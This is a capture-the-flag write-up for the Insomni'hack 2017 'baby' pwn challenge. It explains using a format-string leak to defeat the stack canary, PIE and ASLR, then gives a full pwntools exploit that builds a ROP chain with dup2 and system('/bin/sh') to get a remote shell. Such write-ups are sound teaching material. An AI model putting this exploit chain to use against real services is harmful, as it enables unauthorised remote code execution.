Solved by 4rbit3r
The first CTF of 2017 and it didn’t disappoint. It took me a while to get the exploit working but it was fun.
As usual, lets see what protections are enabled on the binary.
$ checksec baby
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Well, isn’t that something ! No worries, there have been challenges with even worse conditions.
Looking through the code of the binary, we see that the binary first starts a server and then forks off a child to handle a client. Now looking at the handle
function, we see that it is a menu driven program that offers three functionalities. Namely
- Stack overflow
- Format string
- Heap overflow
And then a fourth option which simply exits.
As the names suggest, each function has the respective vulnerability. So, my first idea was to leak out some pointers using the format string vulnerability. This memory leak can then be leveraged to gain control over execution through the stack overflow.
So, the steps should be:
- Choose format string vuln.
- Leak address of text segment.
- Leak address of libc.
- Choose stack overflow vuln.
- ROP.
But there was some difference in the values on the stack when I ran the binary locally and that of the remote server.
But there are some values on the stack that we can bet on. The return addresses of the functions dostack and handle are values of the text segment. So by leaking those, we get the base address of the text segment. Now for libc, the return address of main can be used.
After leaking, all that’s left is to craft a nice ROP payload and pwn this binary.
But wait, it’s not over.
The shell I got at the beginning was at the parent process end, whereas we were interacting with the socket. So, before calling system(‘/bin/sh’), we should insert two calls to dup2().
from pwn import * g1 = 0x1c8b #pop rdi;ret; g2 = 0x1c89 #pop rsi;pop r15;ret; def leak_first(): p.sendlineafter("> ",'2') p.sendlineafter("> ",'%llx-'*158) val = p.recvline().strip().split('-') p.sendline('') libc,text,canary = int(val[-2],16),int(val[139],16),int(val[137],16) return libc-0x20830,text-0x19cf,canary def bof_stack(): p.sendlineafter("> ","1") payload = fit({1032:p64(canary),1048:p64(g2)+p64(0),1072:p64(g1)+p64(fd)+p64(dup2)}) payload+= p64(g2)+p64(1)+p64(0)+p64(g1)+p64(fd)+p64(dup2) payload+= p64(g2)+p64(0)+p64(0)+p64(g1)+p64(binsh)+p64(system) p.sendlineafter("?",str(len(payload)+1)) p.sendline(payload) log.info(p.recvline()) p.interactive() if __name__ == "__main__": fd=4 p = remote("baby.teaser.insomnihack.ch",1337) libc,text,canary=leak_first() elf = ELF("libc.so") elf.address = libc binsh = elf.search("/bin/sh").next() system = elf.symbols['system'] dup2 = elf.symbols['dup2'] g1+= text g2+= text bof_stack()
And well that gave the flag.
Here it is : INS{if_you_haven’t_solve_it_with_the_heap_overflow_you’re_a_baby!}
Leave a Reply